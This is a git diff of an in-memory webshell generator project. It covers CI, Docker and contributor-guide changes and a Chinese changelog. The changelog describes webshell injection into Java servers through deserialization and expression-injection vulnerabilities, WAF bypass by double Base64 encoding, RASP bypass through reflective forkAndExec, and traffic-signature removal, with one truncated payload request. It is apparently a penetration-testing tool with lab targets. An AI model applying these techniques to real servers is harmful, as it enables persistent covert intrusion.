ROUTE_ROOT_PATH=/redqueen-memshell-party
|
||||||
|
CONTEXT_PATH=/redqueen-memshell-party
|
||||||
|
push: true
|
||||||
|
tags: |
|
||||||
|
docker.io/reajason/memshell-party:redqueen
|
||||||
|
|
||||||
|
deploy-maven:
|
||||||
|
name: Deploy to Maven Central
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v4
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Publish with Gradle
|
||||||
|
env:
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralUsername: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralUsername }}
|
||||||
|
ORG_GRADLE_PROJECT_mavenCentralPassword: ${{ secrets.ORG_GRADLE_PROJECT_mavenCentralPassword }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKey: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKey }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyId: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyId }}
|
||||||
|
ORG_GRADLE_PROJECT_signingInMemoryKeyPassword: ${{ secrets.ORG_GRADLE_PROJECT_signingInMemoryKeyPassword }}
|
||||||
|
run: ./gradlew publishAllToMavenCentral
|
||||||
|
|
||||||
create-release:
|
create-release:
|
||||||
name: Create Release
|
name: Create Release
|
||||||
needs: [ info, docker-push ]
|
needs: [ info, docker-push ]
|
||||||
@@ -133,18 +159,13 @@ jobs:
|
|||||||
name: boot
|
name: boot
|
||||||
path: boot/build/libs
|
path: boot/build/libs
|
||||||
|
|
||||||
- name: Calculate SHA-256
|
|
||||||
id: calculate_sha256
|
|
||||||
run: |
|
|
||||||
sha256sum boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar > boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
|
||||||
|
|
||||||
- name: Release
|
- name: Release
|
||||||
uses: ncipollo/release-action@v1
|
uses: ncipollo/release-action@v1
|
||||||
with:
|
with:
|
||||||
name: ${{ needs.info.outputs.version }}
|
name: ${{ needs.info.outputs.version }}
|
||||||
tag: ${{ needs.info.outputs.version }}
|
tag: ${{ needs.info.outputs.version }}
|
||||||
body: ${{ needs.info.outputs.changelog }}
|
body: ${{ needs.info.outputs.changelog }}
|
||||||
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar,boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.sha256
|
artifacts: boot/build/libs/boot-${{ needs.info.outputs.version-without-v }}.jar
|
||||||
|
|
||||||
deploy-northflank:
|
deploy-northflank:
|
||||||
name: Deploy to Northflank
|
name: Deploy to Northflank
|
||||||
|
|||||||
@@ -1,79 +0,0 @@
|
|||||||
name: Test
|
|
||||||
|
|
||||||
on:
|
|
||||||
push:
|
|
||||||
branches:
|
|
||||||
- '**'
|
|
||||||
paths-ignore:
|
|
||||||
- 'docs/**'
|
|
||||||
- 'boot/**'
|
|
||||||
- 'web/**'
|
|
||||||
- '**.md'
|
|
||||||
- '**/*.png'
|
|
||||||
|
|
||||||
concurrency:
|
|
||||||
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
|
||||||
cancel-in-progress: true
|
|
||||||
|
|
||||||
jobs:
|
|
||||||
unit-test:
|
|
||||||
name: UniteTest
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Generator Unit Test with Gradle
|
|
||||||
run: ./gradlew :generator:test
|
|
||||||
|
|
||||||
- name: Boot Unit Test with Gradle
|
|
||||||
run: ./gradlew :boot:test
|
|
||||||
|
|
||||||
integration-test:
|
|
||||||
strategy:
|
|
||||||
fail-fast: false
|
|
||||||
matrix:
|
|
||||||
middleware:
|
|
||||||
- tomcat
|
|
||||||
- jetty
|
|
||||||
- jbossas
|
|
||||||
- jbosseap
|
|
||||||
- wildfly
|
|
||||||
- glassfish
|
|
||||||
- resin
|
|
||||||
- payara
|
|
||||||
- websphere
|
|
||||||
- websphere7
|
|
||||||
- springmvc
|
|
||||||
- weblogic
|
|
||||||
- springwebflux
|
|
||||||
- xxljob
|
|
||||||
runs-on: ubuntu-latest
|
|
||||||
name: ${{ matrix.middleware }}
|
|
||||||
needs: [ unit-test ]
|
|
||||||
steps:
|
|
||||||
- name: Checkout
|
|
||||||
uses: actions/checkout@v4
|
|
||||||
|
|
||||||
- name: Setup Java
|
|
||||||
uses: actions/setup-java@v4
|
|
||||||
with:
|
|
||||||
distribution: 'temurin'
|
|
||||||
java-version: 17
|
|
||||||
|
|
||||||
- name: Setup Gradle
|
|
||||||
uses: gradle/actions/setup-gradle@v4
|
|
||||||
|
|
||||||
- name: Integration Test with gradle
|
|
||||||
run: ./gradlew :integration-test:test --tests '*.${{ matrix.middleware }}.*' --info
|
|
||||||
- name: Export Integration Test Summary
|
|
||||||
run: cat integration-test/build/test-results/report.md >> $GITHUB_STEP_SUMMARY
|
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
name: Unit-Test
|
||||||
|
|
||||||
|
on:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- '**'
|
||||||
|
paths:
|
||||||
|
- 'generator/**'
|
||||||
|
|
||||||
|
concurrency:
|
||||||
|
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
|
||||||
|
cancel-in-progress: true
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
unit-test:
|
||||||
|
name: UniteTest
|
||||||
|
runs-on: ubuntu-latest
|
||||||
|
steps:
|
||||||
|
- name: Checkout
|
||||||
|
uses: actions/checkout@v4
|
||||||
|
|
||||||
|
- name: Setup Java
|
||||||
|
uses: actions/setup-java@v4
|
||||||
|
with:
|
||||||
|
distribution: 'temurin'
|
||||||
|
java-version: 17
|
||||||
|
|
||||||
|
- name: Setup Gradle
|
||||||
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Generator Unit Test with Gradle
|
||||||
|
run: ./gradlew :generator:test
|
||||||
|
|
||||||
|
- name: Boot Unit Test with Gradle
|
||||||
|
run: ./gradlew :boot:test
|
||||||
@@ -29,6 +29,10 @@ replay_pid*
|
|||||||
**/build/
|
**/build/
|
||||||
!src/**/build/
|
!src/**/build/
|
||||||
|
|
||||||
|
**/bin/
|
||||||
|
!**/src/main/**/bin/
|
||||||
|
!**/src/test/**/bin/
|
||||||
|
|
||||||
# Ignore Gradle GUI config
|
# Ignore Gradle GUI config
|
||||||
gradle-app.setting
|
gradle-app.setting
|
||||||
|
|
||||||
@@ -56,4 +60,5 @@ snippets/
|
|||||||
integration-test/**/apusic
|
integration-test/**/apusic
|
||||||
integration-test/**/bes
|
integration-test/**/bes
|
||||||
integration-test/**/tongweb
|
integration-test/**/tongweb
|
||||||
integration-test/**/inforsuite
|
integration-test/**/inforsuite
|
||||||
|
integration-test/**/primeton
|
||||||
@@ -5,6 +5,252 @@ All notable changes to this project will be documented in this file.
|
|||||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
|
||||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||||
|
|
||||||
|
## [v2.2.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.2.0) - 2025-11-20
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
1. 内存马注入器支持接入回显 toString 打印 contextPath 等注入成功或错误信息(By @ReaJason)
|
||||||
|
2. boot 新增通过字节码 base64 获取类名接口,并支持自定义内存马使用随机类名或原始类名
|
||||||
|
3. 适配 Apusic 9.0.1 版本(金蝶 EAS Cloud)
|
||||||
|
4. UI 在 JSP/Base64/序列化相关 payload 生成时添加下载按钮便于下载 JSP 文件/注入器 Class 文件/原始序列化文件
|
||||||
|
5. 支持注入器或回显马添加静态代码块执行构造方法调用,解决部分场景下无法手动调用构造方法
|
||||||
|
6. 支持 SpringWebMVC 回显马生成(#107)
|
||||||
|
7. 添加 Jetty 12 中 ee11 的内存马注入支持和靶场测试用例
|
||||||
|
8. 支持 ScriptEngineJar 打包方式(SnakeYaml 漏洞注入,#109)
|
||||||
|
9. 支持 AbstractTranslet 打包方式,方便 TemplatesImpl 反序列化漏洞注入
|
||||||
|
10. 支持脚本引擎执行回显马生成,方便调试
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
1. 修复自定义内存马生成报错(#102、#106,Thanks @love71 and @m0s30)
|
||||||
|
2. 修复 Tomcat Valve 仅单个情况下注入 ProxyValve 导致站挂掉(#105 Thanks @love71)
|
||||||
|
3. 默认哥斯拉内存马去除对 session 的依赖,解决部分场景下 session 为 null 导致无法连接
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
1. 命令执行内存马和命令执行回显马支持从参数或请求头中获取命令参数
|
||||||
|
2. 调整靶场构建使用的 openjdk 改为 eclipse-temurin
|
||||||
|
3. 依赖更新
|
||||||
|
|
||||||
|
**Full Changelog:** [v2.1.0...v2.2.0](https://github.com/ReaJason/MemShellParty/compare/v2.1.0...v2.2.0)
|
||||||
|
|
||||||
|
## [v2.1.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.1.0) - 2025-08-12
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
1. 添加 BigInteger、ScriptEngineBigInteger 打包方式(#86 by @wanswu)
|
||||||
|
2. 添加 SpELSpringGzipJDK17 打包方式(#83 by @xcxmiku and @ReaJason)
|
||||||
|
3. 添加 JXPathSpringGzipPacker、JXPathSpringGzipPackerJDK17 打包方式(GeoServer 漏洞注入)
|
||||||
|
4. 添加 Base64URLEncoded 打包方式(配合回显马进行小马拉大马测试)
|
||||||
|
5. 支持回显马在进行自定义字节码执行时去除 Java 魔数流量特征
|
||||||
|
```http
|
||||||
|
/path/code?payload=yv66vgAAADIBVQEAJ29yZy9hcGFj...
|
||||||
|
```
|
||||||
|
改为只需要如下方式
|
||||||
|
```http
|
||||||
|
/path/code?payload=IBVQEAJ29yZy9hcGFj...
|
||||||
|
```
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
1. 修复非调试模式下,构造方法中的 e.printStackTrace() 并没有被移除
|
||||||
|
2. 修复使用 Dockerfile 进行自定义构建时,自定义路由无法正常工作
|
||||||
|
3. 修复探测内存马中 Sleep 和 DNSLog 自定义类名失效(#89 Thanks @yinsel)
|
||||||
|
4. 修复自定义内存马中,不会自动调用 listener 添加 getResponseFromRequest 实现代码和 valve 修改包名的逻辑(使用自定义内存马请参考:[如何使用自定义内存马功能](/docs/WriteCustomShell.md) 进行实现,否则会出现不可用的问题)
|
||||||
|
5. 修复使用 SDK 时,Agent Packer 在 jar-with-dependencies(fatjar) 中会出现打包整个 jar 的问题
|
||||||
|
6. 修复 Tomcat Listener 注入会使之前所有 Listener 失效(#93)
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
1. 修改 Packer 中对于 Thread.currentThread().getContextClassLoader() 的纯依赖改为新建 URLClassLoader,使得回显马可多次执行
|
||||||
|
2. 去除 logback(java11)和 okhttp 无用依赖,解决使用 SDK 打包部分场景会出现类版本不支持的问题
|
||||||
|
3. 实现 Lombok SuperBuilder 自定义 Builder 简化配置类的创建代码(#9f8f3baa)
|
||||||
|
4. 优化命令执行内存马,改为和回显马逻辑一致,使用 ProcessBuilder.redirectErrorStream 简化流读取
|
||||||
|
5. 修改 packer 中脚本存放添加 memshell-party 一级,防止打包成 fatjar 时文件全在根目录,可能会被覆盖导致功能破坏
|
||||||
|
6. 优化资源读取,通过工具类 loadTemplateFromResource 统一实现
|
||||||
|
7. 优化 Agent Attacher JDK11 异常处理
|
||||||
|
8. 依赖更新
|
||||||
|
|
||||||
|
**Full Changelog:** [v2.0.0...v2.1.0](https://github.com/ReaJason/MemShellParty/compare/v2.0.0...v2.1.0)
|
||||||
|
|
||||||
|
## [v2.0.0](https://github.com/ReaJason/MemShellParty/releases/tag/v2.0.0) - 2025-08-13
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> 为了区分内存马和探测马,部分类名和接口做了调整,如果使用了 SDK,需要参考:[examples/memshell-party-maven-example](https://github.com/ReaJason/MemShellParty/tree/master/examples/memshell-party-maven-example) 进行调整。
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- **支持探测马生成** (#71 by @ReaJason,部分代码参考 jeg 与 java-chains)
|
||||||
|
- Web 添加关于页面
|
||||||
|
- 支持 H2 JDBC 打包方式(DataEase 漏洞注入)
|
||||||
|
- 支持 XMLDecoder 打包方式(WebLogic 漏洞注入)
|
||||||
|
- 支持 OGNL SpringUtils 打包方式(Confluence 漏洞注入)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 SpringWebMVC Agent 无法点击生成按钮 (#77)
|
||||||
|
- 修复 Spring Boot 对于 no static resource 老是抛出错误日志
|
||||||
|
- 修复 TongWeb8 context 获取错误导致注入失败的问题
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- **简化 Server 类型选择,例如 JBossEAP7 和 WildFly 选择 Undertow** (#74 by @zema1)
|
||||||
|
- **去除注入器中静态代码块调用构造方法,减少注入动作的触发**(可能会导致部分 `Class.forName("name", true, loader)` 的场景注入失败,后续会添加字节码 Web 工具进行这块的处理)
|
||||||
|
- 简化 Tomcat AgentInjector 的代码
|
||||||
|
- 前端 module 分包减少单个 js 体积,加快首次加载速度
|
||||||
|
- 移除 memshell-party-bom 模块,改用 gradle/libs.versions.toml,参考:[Use Version Catalogs to Centralize Dependency Versions](https://docs.gradle.org/current/userguide/best_practices_dependencies.html#use_version_catalogs)
|
||||||
|
- 使用 build-logic 替代 buildSrc,加快构建速度,参考:[Favor build-logic Composite Builds for Build Logic](https://docs.gradle.org/current/userguide/best_practices_general.html#favor_composite_builds)
|
||||||
|
- 从 generator 模块中分离 payload 生成代码并合并 deserialize 模块为 packer 模块
|
||||||
|
- 使用 i18 扁平化 key,并使用 namespace 区分 MemShell 和 ProbeShell 的字段,参考:[RSSNext/Folo/zh-CN.json](https://github.com/RSSNext/Folo/blob/dev/locales/common/zh-CN.json)
|
||||||
|
- 升级 gradle-maven-publish-plugin 插件版本,简化打包指令
|
||||||
|
- 统一生成内存马类过程中抛出异常为 GenerationException,并单独设置 GlobalExceptionHandler
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.10.0...v2.0.0](https://github.com/ReaJason/MemShellParty/compare/v1.10.0...v2.0.0)
|
||||||
|
|
||||||
|
## [v1.10.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.10.0) - 2025-06-07
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 添加新的 JSP 打包方式(直接使用 defineClass 进行注入)(by @zema1 #67)
|
||||||
|
- 支持 Tomcat 和 JBossAS ProxyValve 内存马(通过动态代理将 StandardPipeline 的第一个 valve 进行包装注入自定义逻辑)
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复哥斯拉无法使用最新版连接
|
||||||
|
- 修复 TongWeb8 Valve 未适配
|
||||||
|
- 修复移动端 UI 输入框 placeholder 字体过大
|
||||||
|
- 修复移动端 UI 类名复制按钮超出卡片范围
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 修改 Valve 和 Listener 字节码修改时机,改为生成时再进行修改,方便自定义内存马生成
|
||||||
|
- 合并 memshell 与 memshell-jdk8 模块,方便维护
|
||||||
|
- UI 使用新的 shadcn/ui 提供的 Zinc 主题配置
|
||||||
|
- 将所有 Shell 捕获异常从 Exception 改为 Throwable
|
||||||
|
- 简化 Shell base64 方法代码
|
||||||
|
- Gradle 更新至 8.14.2
|
||||||
|
- 参考 [General Gradle Best Practices](https://docs.gradle.org/current/userguide/best_practices_general.html),将构建脚本改为
|
||||||
|
Kotlin DSL
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.9.0...v1.10.0](https://github.com/ReaJason/MemShellParty/compare/v1.9.0...v1.10.0)
|
||||||
|
|
||||||
|
## [v1.9.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.9.0) - 2025-05-28
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 TongWeb8 内存马生成 by @ReaJason
|
||||||
|
- 通过 context 获取 webAppClassLoader,不再依赖 Thread.currentThread().getContextClassLoader()
|
||||||
|
为请求线程,参考:[任意类加载环境下注入内存马](https://reajason.eu.org/writing/whichclassloaderforshell/)
|
||||||
|
- 全面支持使用 ASM 生成 Agent(仅需 92.5 KB),并且可选 JDKAttacher 与 JREAttacher
|
||||||
|
- 支持命令执行自定义实现类,RuntimeExec or ForkAndExec
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Apusic Listener 由于 response 获取错误导致不可用
|
||||||
|
- 修复 Jakarta WebSocket 无法注入
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- Godzilla WebSocket 默认使用 AES_BASE64 加密器,支持使用 [GzWebsocket](https://github.com/xsshim/GzWebsocket) 插件进行连接。
|
||||||
|
- Gradle、Web 项目依赖更新
|
||||||
|
- UI 生成界面默认勾选缩小字节码
|
||||||
|
- UI 优化手机端选项布局,单行显示每个输入框
|
||||||
|
- UI 使用紧凑模式,隐藏非常用字段简化操作路径
|
||||||
|
- 提取公共 Tailwind CSS 类名,简化表单组件代码
|
||||||
|
- yup 替代 zod 减少打包体积,并将自定义表单验证融合到 react-hook-form 中优化 UX
|
||||||
|
- 重构 Shell Generator 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.8.0...v1.9.0](https://github.com/ReaJason/MemShellParty/compare/v1.8.0...v1.9.0)
|
||||||
|
|
||||||
|
## [v1.8.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.8.0) - 2025-05-14
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持普元中间件内存马生成(only 6.5 版本)by @ReaJason(#60)
|
||||||
|
- 支持哥斯拉 WebSocket 内存马生成与测试
|
||||||
|
- 添加 Groovy 通用恶意类加载打包方式(用于测试 Jenkins 脚本执行)
|
||||||
|
- 命令执行支持加密器,双 Base64 测试绕过 WAF 安全设备
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复 Jetty 高版本中 ee8 ~ ee10 无法注入(#61)
|
||||||
|
- 修复 Spring Boot 下类加载的原因导致的 Tomcat/Jetty/Undertow 部分内存马注入失败
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 命令执行改为反射调用 forkAndExec 以绕过 RASP(JDK7+)
|
||||||
|
- 获取所有线程代码改为 `Thread.getAllStackTraces().keySet()`,高版本 JDK 不再需要 bypass module
|
||||||
|
- 优化 boot 在启动时即触发 Server 的内存马生成注册,加速第一次请求访问
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.7.0...v1.8.0](https://github.com/ReaJason/MemShellParty/compare/v1.7.0...v1.8.0)
|
||||||
|
|
||||||
|
## [v1.7.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.7.0) - 2025-04-06
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持发布到 MavenCentral,可通过引入依赖使用生成 API by @ReaJason(#41)
|
||||||
|
- 支持 CC3、CC4 反序列化 payload 打包方式
|
||||||
|
- 支持随机参数生成与默认选项(#50)
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 去除代码混淆相关代码
|
||||||
|
- 为了更好地在 MavenCentral 展示,重命名部分模块
|
||||||
|
- 使用 Jackson 代替 Fastjson 降低 boot 打包体积
|
||||||
|
- 移除 commons-codec 降低 boot 打包体积
|
||||||
|
- 升级 shadcn/ui 所有 component 代码
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.6.0...v1.7.0](https://github.com/ReaJason/MemShellParty/compare/v1.6.0...v1.7.0)
|
||||||
|
|
||||||
|
## [v1.6.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.6.0) - 2025-03-30
|
||||||
|
|
||||||
|
> 做代码生成以及代码混淆真是一件需要耐心的事情
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持自定义内存马生成 by @ReaJason(#49)
|
||||||
|
- 支持命令回显 ASM Agent 内存马 by @ReaJason(#51)
|
||||||
|
- 支持简易的代码混淆 by @ReaJason(#13)
|
||||||
|
- 支持自动发布 DEV 分支代码 CD
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Jetty 获取 Context 代码
|
||||||
|
- 优化 Dockerfile 减小镜像体积
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.5.0...v1.6.0](https://github.com/ReaJason/MemShellParty/compare/v1.5.0...v1.6.0)
|
||||||
|
|
||||||
|
## [v1.5.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.5.0) - 2025-03-01
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持 NeoreGeorg 内存马生成 by @ReaJason
|
||||||
|
- 支持 UI 显示更新按钮跳转到 GitHub Release 界面
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 简化 Valve 内存马代码
|
||||||
|
- 升级 Gradle 8.13
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.4.0...v1.5.0](https://github.com/ReaJason/MemShellParty/compare/v1.4.0...v1.5.0)
|
||||||
|
|
||||||
|
## [v1.4.0](https://github.com/ReaJason/MemShellParty/releases/tag/v1.4.0) - 2025-02-26
|
||||||
|
|
||||||
|
### Added
|
||||||
|
|
||||||
|
- 支持缩小字节码 (移除调试信息) by @ReaJason
|
||||||
|
- 支持 Tomcat Jakarta WebSocket
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
|
||||||
|
- 修复自定义注入器类名不起作用
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
|
||||||
|
- 优化跨平台开发体验,将 bash 脚本改为 js 脚本
|
||||||
|
|
||||||
|
**Full Changelog:** [v1.3.2...v1.4.0](https://github.com/ReaJason/MemShellParty/compare/v1.3.2...v1.4.0)
|
||||||
|
|
||||||
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
## [v1.3.2](https://github.com/ReaJason/MemShellParty/releases/tag/v1.3.2) - 2025-02-25
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
|
|||||||
@@ -1,19 +1,27 @@
|
|||||||
|
## Contribute
|
||||||
|
|
||||||
|
> 你的任何反馈以及 issue 交流都是对当前项目的贡献
|
||||||
|
|
||||||
|
> It will be so nice if you want to contribute. 🎉
|
||||||
|
|
||||||
|
1. 如果你有高超的 Docker 环境构建技术,可以尝试添加 CVE 相关的集成测试用例。
|
||||||
|
2. 如果你有高超的内存马编写技术,可以尝试添加一个内存马试试。
|
||||||
|
3. 如果你有丰富的实战经验,可以尝试写写 issue 来提提建议。
|
||||||
|
|
||||||
### 目录结构
|
### 目录结构
|
||||||
|
|
||||||
- bom: 依赖版本管理,不用写到处写版本号就是舒服
|
|
||||||
- boot:使用 SpringBoot 为 UI 提供生成服务
|
- boot:使用 SpringBoot 为 UI 提供生成服务
|
||||||
- common:bytebuddy 等工具类存放
|
- memshell-party-common:bytebuddy/asm 等工具类存放
|
||||||
- generator:内存马生成核心
|
- generator:内存马生成核心
|
||||||
- deserialize:反序列化相关 gadget
|
- packer:常见漏洞 payload 生成
|
||||||
- integration-test:集成测试用例
|
- integration-test:集成测试用例
|
||||||
- memshell:内存功能类以及注入器(为保证兼容性够高,所以单独弄出来)
|
- memshell:内存功能类以及注入器
|
||||||
- memshell-java8:Spring 相关的存在 lambda 表达式所以单独弄出来
|
- memshell-agent:Agent 内存马 playground,可参考 asm/javassist/bytebuddy 编写 Agent 内存马
|
||||||
- tools/behinder:冰蝎简易连接器
|
- tools/*:内存马简易连接器,用于测试内存马注入之后是否可用
|
||||||
- tools/godzilla:哥斯拉简易连接器
|
|
||||||
- tools/suo5:Suo5 简易连接器
|
|
||||||
- web:使用 react 开发的 Web UI
|
- web:使用 react 开发的 Web UI
|
||||||
- vul/vul-webapp:简易的 javax.servlet 靶场
|
- vul/vul-webapp:简易的 javax.servlet 靶场
|
||||||
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
- vul/vul-webapp-expression:简易的表达式注入、SSTI 注入相关靶场
|
||||||
|
- vul/vul-webapp-deserialize:简易的反序列化相关靶场
|
||||||
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
- vul/vul-webapp-jakarta:简易的 jakarta.servlet 靶场
|
||||||
- vul/springboot*: springboot 相关靶场
|
- vul/springboot*: springboot 相关靶场
|
||||||
|
|
||||||
@@ -28,12 +36,15 @@
|
|||||||
# 运行集成测试用例,谨慎运行,用例太多了
|
# 运行集成测试用例,谨慎运行,用例太多了
|
||||||
./gradlew :integration-test:test --info
|
./gradlew :integration-test:test --info
|
||||||
|
|
||||||
# 仅运行 tomcat 下的集成测试用例
|
# 仅运行 tomcat 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.tomcat.*'
|
./gradlew :integration-test:test --tests '*.tomcat.*'
|
||||||
# 仅运行 jetty 下的集成测试用例
|
|
||||||
|
# 仅运行 jetty 下的集成测试用例(需要先构建靶场)
|
||||||
|
./gradlew :vul:vul-webapp:war :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :integration-test:test --tests '*.jetty.*'
|
./gradlew :integration-test:test --tests '*.jetty.*'
|
||||||
|
|
||||||
# 构建 war 包
|
# 构建靶场 war 包
|
||||||
./gradlew :vul:vul-webapp:war
|
./gradlew :vul:vul-webapp:war
|
||||||
./gradlew :vul:vul-webapp-jakarta:war
|
./gradlew :vul:vul-webapp-jakarta:war
|
||||||
./gradlew :vul:vul-webapp-expression:war
|
./gradlew :vul:vul-webapp-expression:war
|
||||||
@@ -57,7 +68,7 @@ UI 采用的 React SPA + SpringBoot,构建时需要先将 React 前端项目
|
|||||||
|
|
||||||
### Contribute Code
|
### Contribute Code
|
||||||
|
|
||||||
> 参考 GitHub Docs, https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
> 参考 GitHub Docs,https://docs.github.com/en/get-started/exploring-projects-on-github/contributing-to-a-project
|
||||||
|
|
||||||
1. fork 当前项目
|
1. fork 当前项目
|
||||||
2. git clone 自己 fork 后的项目
|
2. git clone 自己 fork 后的项目
|
||||||
|
|||||||
@@ -1,14 +1,12 @@
|
|||||||
FROM buildpack-deps:bullseye-scm AS source
|
FROM --platform=$BUILDPLATFORM buildpack-deps:bullseye-scm AS source
|
||||||
|
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
|
||||||
rm -rf vul integration-test tools
|
rm -rf vul integration-test tools
|
||||||
|
|
||||||
FROM oven/bun:1.2.2 AS frontend
|
# https://hub.docker.com/r/oven/bun
|
||||||
|
FROM --platform=$BUILDPLATFORM oven/bun:1.3.2 AS frontend
|
||||||
|
|
||||||
ARG ROUTE_ROOT_PATH="/"
|
ARG ROUTE_ROOT_PATH="/"
|
||||||
ARG CONTEXT_PATH=""
|
ARG CONTEXT_PATH=""
|
||||||
@@ -26,32 +24,27 @@ COPY --from=source /usr/src/web /usr/src/web
|
|||||||
|
|
||||||
RUN bun run build
|
RUN bun run build
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jdk-noble AS backend
|
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
|
||||||
|
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.15_6-jdk-noble AS backend
|
||||||
ARG VERSION="1.0.0"
|
|
||||||
ENV VERSION=${VERSION}
|
|
||||||
|
|
||||||
WORKDIR /usr/src
|
WORKDIR /usr/src
|
||||||
|
|
||||||
COPY --from=source /usr/src /usr/src
|
COPY --from=source /usr/src /usr/src
|
||||||
|
|
||||||
COPY --from=frontend /usr/src/web/dist /usr/src/web/dist
|
COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/resources
|
||||||
|
|
||||||
RUN set -ex && \
|
RUN ./gradlew :boot:bootjar -x test
|
||||||
cd web && bash copy-build.sh && \
|
|
||||||
cd .. && ./gradlew -Pversion=${VERSION} :boot:bootjar -x test --no-daemon
|
|
||||||
|
|
||||||
FROM eclipse-temurin:17.0.14_7-jre-noble
|
FROM eclipse-temurin:17.0.15_6-jre-noble
|
||||||
|
|
||||||
LABEL authors="ReaJason<[email protected]>"
|
